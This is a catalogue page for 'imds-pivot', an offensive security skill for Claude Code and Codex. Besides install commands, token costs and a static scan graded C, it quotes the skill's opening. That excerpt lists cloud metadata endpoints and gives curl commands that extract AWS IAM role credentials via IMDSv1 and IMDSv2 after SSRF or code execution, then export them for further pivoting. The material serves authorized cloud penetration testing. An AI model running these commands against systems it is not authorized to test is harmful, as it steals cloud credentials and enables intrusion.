A guide for checking a cloud server’s Instance Metadata Service, a local endpoint that provides information about the machine and its cloud identity. It focuses on access reached through server-side request forgery or code execution.

Use it to identify the cloud provider, review its metadata endpoints, and test metadata access during an authorized cloud security assessment.

It helps assess whether a server-side weakness could expose cloud role credentials, instance details, or secrets stored in startup data.

imds-pivot — Skill for Claude Code and Codex by MingyiSecLab

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add MingyiSecLab/Mingyi-Atlas --skill imds-pivot

Clone the repo

git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/imds-pivot/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/imds-pivot)

Your own site

<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/imds-pivot"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/imds-pivot/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/imds-pivot"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/imds-pivot.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 34 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 2,066 The whole file, excluding the scripts and references it only reads on demand.

Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin 98% copy Near-identical to another mod in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00034	$0.02066
Opus 5	$0.00017	$0.01033
Sonnet 5	$0.00007	$0.00413
Haiku 4.5	$0.00003	$0.00207

Measured 12d ago against content hash c7eca69a9a5c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade C, and why

imds-pivot scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

| AWS | `http://169.254.169.254/latest/meta-data/` | IMDSv1: no header. IMDSv2: PUT for token |

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")

Origin

This is a copy

98% identical to imds-pivot — 3 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/cloud/imds-pivot/SKILL.md · 177 lines

How it starts

The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Instance Metadata Service Pivot

When you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.

1. Identify the cloud provider

Header fingerprints, IP ranges, or just try in order:

Cloud	Endpoint	Auth
AWS	`http://169.254.169.254/latest/meta-data/`	IMDSv1: no header. IMDSv2: PUT for token
GCP	`http://metadata.google.internal/computeMetadata/v1/`	Header `Metadata-Flavor: Google`
Azure	`http://169.254.169.254/metadata/instance?api-version=2021-02-01`	Header `Metadata: true`
Alibaba	`http://100.100.100.200/latest/meta-data/`	None
DigitalOcean	`http://169.254.169.254/metadata/v1/`	None
Oracle Cloud	`http://169.254.169.254/opc/v2/instance/`	Header `Authorization: Bearer Oracle`

metadata_endpoints("aws")  → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")

2. AWS — extract IAM role creds

IMDSv1 (legacy, no token required):

ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

IMDSv2 (requires session token):

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

Output:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",                 ← session token (REQUIRED for ASIA keys)
  "Expiration": "2026-..."
}

Use:

export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.md

Read the full file on GitHub · 177 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

12d ago First seen · 177 lines · 34 tokens per session scan C c7eca69a9a5c

Subscribe to this mod's changes

imds-pivot is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 34 tokens to every session and 2,066 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 98% identical to imds-pivot, differing in 3 lines, and is treated as a copy.

Cloud DevOps and cloud Security ai-agents ai-hacking ai-pentesting ai-security cybersecurity devsecops

imds-pivot

Getting it into your agent

Wrote this? Show the measurements

What it costs to keep this loaded

Grade C, and why

Cloud metadata endpointhighServer-side request forgery

Makes network callslowCapability

This is a copy

How it starts

Instance Metadata Service Pivot

1. Identify the cloud provider

2. AWS — extract IAM role creds

What this file has done since we first saw it

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